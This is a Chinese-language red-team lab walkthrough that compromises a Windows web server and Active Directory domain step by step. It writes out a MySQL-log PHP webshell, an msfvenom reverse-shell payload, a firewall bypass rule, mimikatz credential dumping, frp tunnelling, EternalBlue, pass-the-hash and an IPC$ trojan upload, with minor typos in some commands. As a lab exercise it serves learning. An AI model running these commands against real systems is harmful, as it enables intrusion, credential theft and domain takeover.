内网渗透

红队靶机一练习

注:因为后面要用到frp+socket代理所以web服务器的一张网卡通向外网.

1
2
攻击机:kali 
靶机:web服务器 win2008和server win2k3

前渗透

信息收集:

对kali所在网段进行端口服务扫描

1
Netdiscover -r 192.168.159.0/24

成功扫描到目标主机,对目标主机进行端口扫描.

1
nmap -A -sV -T4 192.168.159.137

发现目标主机开启了http服务尝试访问

是phpinfo文件,获得到网站的绝对路径对后续渗入用处很大

前面看到服务器开了mysql的默认端口3306尝试访问

1
mysql -h192.168.159.137 -uroot -p

但是这里目标靶机数据库貌似禁用了远程连接的功能.

使用dirsearch对网站进行目录扫描看是否能发现其他信息

1
python3 dirsearch.py -u "http://192.168.159.137/"

发现网站存在phpmyadmin数据库管理后台页面尝试访问一下

尝试使用弱密码登录root root进行登录成功登录进去,查看是否有直接读写文件的权限.

1
show variables like "secure%"

并没有,接着尝试通过写日志的方式写入一句话木马.开启日志,并写入一句话密码,然后通过菜刀或者蚁剑进行连接,这里通过蚁剑进行连接.

1
2
3
set global general_log=‘on’;//开启日志功能
set global general_log_file=’C:/phpStudy/5.php’;//将日志文件设为web目录下某文件
select ‘<?php assert($_POST[“admin”]);?>’;

蚁剑的后渗透功能相对较少,这里我通过msfvenom生成一个exe文件进行后渗透.

1
2
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.0.153 lpost=4455 -f exe -o 20.exe

通过蚁剑将木马上传到目标主机

攻击机开启监听.

1
2
use exploit/multi/handler 
set payload windows/x64/meterpreter/reverse_tcp

进入蚁剑的虚拟终端,因为目标机第一次启动20.exe文件所以当我们双击运行木马时会提示是否统一的窗口,我们需要同意防火墙默认允许此文件.

1
netsh advfirewall firewall add rule name="20.exe" dir=in action=allow program="C:\phpStudy\WWW\20.exe" enable=yes

然后运行20.exe文件

Kali成功监听到.

后渗透

1
getsystem
迁移木马进程

查看权限为adminintrator权限,直接通过getsystem提升至system权限

1
Tasklist
查看是否有杀软
1
Systeminfo
查看系统详细信息打的有什么补丁方便后续渗透

查看是否存在域

存在域god
1
net group "domain admins"   /domain          #查看域管理员
获取本地管理员(通常包含域用户)信息
1
net view  /domain:god       # 查看局域网内其他主机名
1
Load kiwi
模块爆破密码

(原理:域管理员或其他用户使用自己的密码登录该计算机登录到域时,密码会存放在该计算机内存中,可以用kiwi模块中获取密码命令进行提取内存中的密码或者hash)

1
Hashdump
1
kiwi_cmd sekurlsa::logonpasswords

爆破出了管理员的密码尝试进行登录发现提示管理员在线我们如果强行进行登录会引起对方怀疑.这里有两个思路.

思路一:使用rdpwrap工具隐藏我们的远程连接绕过管理员连接到目标靶机进行渗透,这里因为考虑到目标机缺少缺少很多我们需要的工具,进行第二种思路.

kali挂代理通内网进行渗透

因为我的msf不稳定挂代理总容易掉,这里我决定用frp+sockets进行代理对内网进行渗透.

先通过蚁剑给靶机远程下载frp工具并代理至我的公网服务器.

服务器开启代理

1
2
chmod +x frps //给frps执行权限
./frps -c frps.ini

靶机进行连接.

1
frpc.exe -c frpc.ini

靶机成功连接上去

Kali将公网服务器ip加转发端口加入到代理链中
1
2
vim /etc/proxychains4.conf  
socket 代理服务器ip:端口号 //添加代理链

尝试通过内网ip访问一下web靶机可以成功访问

1
curl "http://192.168.148.128/l.php" 

通过代理打开msf进行横向渗透

1
proxychains4 msfdb run 

之前已经对内网存在的目标信息收集过直接进行攻击

对192.168.148.129(域控所在服务器)主机进行端口扫描查看开启的服务`

1
proxychains4 nmap -Pn -sT -p80,445 192.168.148.1289

发现其开启了445端口尝试进行永恒之蓝攻击,结果一不小心打蓝屏了

1
use exploit/windows/smb/ms17_010_psexec

最后试了三次才成功,实战中不推荐这种方式,太狗血了.

因为这里的不稳定性,我决定把msf上win7的shell反弹给cs,通过cs的一些工具在尝试获取一下域控的权限

先把公网服务器上线到cs,然后反弹shell给cs msf和cs互动请参考文章:https://cloud.tencent.com/developer/article/1785155

上线成功

部分信息之前在msf的shell中已经收集过了

域名为 god

域中有三台主机:

1
2
3
4
5
stu1.god.org  192.168.148.128(控制的这台win 7)

root-tvi862ubeh.god.org 192.168.148.130

owa.god.org 192.168.148.129 为域控
1
域用户有 : ligang , liukaifeng01 ,administrator
1
域管理员只有一个: administrator

密码也通过kiwi模块扫出来了

前面我们已经通过收集信息得知DC是192.168.148.129这台机器,可以直接想办法拿到域控,因为前面已经通过hashdump和logonpassword命令获取到了域管理员的密码hash和铭文,我直接借助psexec票据传递尝试去拿域控的权限

成功的获取到了域控的shell,通过同样的方式拿到域内另外一台机器的shell

最后三台服务器都成功拿到了权限,这里同样可以通过msf的自带的psexec模块进行hash碰撞攻击.

IPCIPC$&&计划任务上传木马

也可以通过IPC$&&计划任务通过cs上传木马到跳板机win7,让跳板机尝试通过IPC服务连接到域控,将木马上传到域控的共享文件夹下面.

和上面一样先开启监听然后生成木马,上面得知域控开启了IPC对应的服务端口139.

通过cs与win7的会话尝试连接域控

1
2
beacon> shell net use \\192.168.148.129\ipc$ /user:"用户名" "密码"
beacon> shell net view \\192.168.148.129

这里成功连接上域控的IPC资源共享服务

查看域控的C盘文件

1
beacon> shell dir \\192.168.148.129\c$

先将本地木马上传到win7,然后通过win7上传到域控内

1
beacon> shell copy tiaoban.exe \\192.168.148.129\C$

上传成功

创建计划任务并执行

其他思路

同样的这里还有两种猜想思路:①信息收集发现域内存在一台krbtgt开头的域内用户,后面百度得知,该用户是kerberos生成的用户,专门为认证后的用户发放票据的,可以利用他进行随意伪造用户票据登录.

可以看到这台计算机可以选择登录到域或者直接在本地计算机登录,这里我们拿到的是普通用户的域权限时,可以先绕过域通过本地的管理员账户登陆本地计算机然后远程上传kiwi程序,对内存的密码进行提取在用psexec进行登录.